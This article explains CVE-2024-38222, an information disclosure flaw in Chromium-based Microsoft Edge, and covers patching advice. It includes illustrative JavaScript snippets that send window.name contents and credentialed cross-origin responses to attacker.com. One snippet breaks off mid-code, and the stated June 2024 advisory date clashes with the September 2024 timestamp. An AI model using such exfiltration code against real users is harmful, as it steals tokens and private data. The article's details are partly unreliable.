In June 2024, Microsoft published a security advisory for CVE-2024-38222, a newly discovered information disclosure vulnerability affecting Microsoft Edge, the Chromium-based edition. This vulnerability, if exploited, can leak sensitive user information to malicious sites or scripts. In this in-depth article, we’ll break down how this flaw works, show snippets to illustrate the issue, demonstrate how attackers might exploit it, and give you resources for further reading.

What is CVE-2024-38222?

CVE-2024-38222 is an information disclosure vulnerability found in Microsoft Edge (based on Chromium — the same engine used by Google Chrome). According to Microsoft’s official advisory [[1]](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38222), the flaw allows a malicious site to obtain privileged information about a user’s browsing context or increase the impact of other attacks, such as cross-site scripting (XSS).

Simply put, a bad actor can trick Edge into giving up data it should keep secret—like fragments of private URLs, authentication tokens in headers, or even limited access to cross-origin data—potentially resulting in further compromise.

How the Vulnerability Works

At its core, CVE-2024-38222 results from improper handling of certain web APIs or headers when Microsoft Edge processes cross-origin requests. For example, inadequate isolation between websites could let one page access restricted data from another, violating the *Same-Origin Policy*.

A Simplified Example

Suppose Edge mishandles the Referer header or the window.name property when navigating between sites. Here’s a sample scenario:

// Evil page at https://attacker.com
window.name = '';
window.location = "https://victim-site.com/secret-page";;
setTimeout(function() {
  // After victim-site loads, window.name could still be under attacker's control
  fetch('https://attacker.com/collect?token=' + window.name);
}, 100);

In a flawed browser, the victim’s page might leak sensitive information to window.name, which a malicious site could later read.

Exploit Details: What Could an Attacker Do?

The exact exploitation technique depends on the browser’s flawed implementation. Here are likely attack paths:

Token Stealing Via Headers

Certain authentication tokens (e.g., OAuth tokens in URLs) could be exposed if headers aren’t filtered correctly between requests.

`javascript

// Malicious JavaScript that triggers after luring a victim to a crafted page
fetch('https://victim-site.com/private-data', {

credentials: 'include'

})

.then(resp => resp.text())

.then(data => fetch('https://attacker.com/steal', {

Enhanced Phishing or Cross-Site Scripting (XSS)

By sniffing fragments of user history or authentication states, an attacker can refine future attacks targeting the user.

Mitigation & Patch Status

Microsoft has released patches. The fix is available in updated versions of Microsoft Edge since June 2024. *If you are using Edge, update NOW.*

Let Edge check for and apply updates

Administrators can also use Microsoft’s deployment guidance to ensure all systems are patched.

For enterprise users, Microsoft recommends reviewing group policies and enforcing restricted permissions for iframe, navigation, and origins.

References and Further Reading

- Microsoft Security Response Center: CVE-2024-38222
- Microsoft Edge Release Notes: Edge Stable Channel Update
- Chromium Security Overview: Chromium Same-Origin Policy

Always keep browsers and OS software up to date for safety.

Stay secure — and share this article to help others stay protected!


*This report is exclusive and for educational purposes only. Do not attempt to exploit or misuse these vulnerabilities.*

Timeline

Published on: 09/12/2024 03:15:02 UTC
Last modified on: 09/19/2024 20:43:30 UTC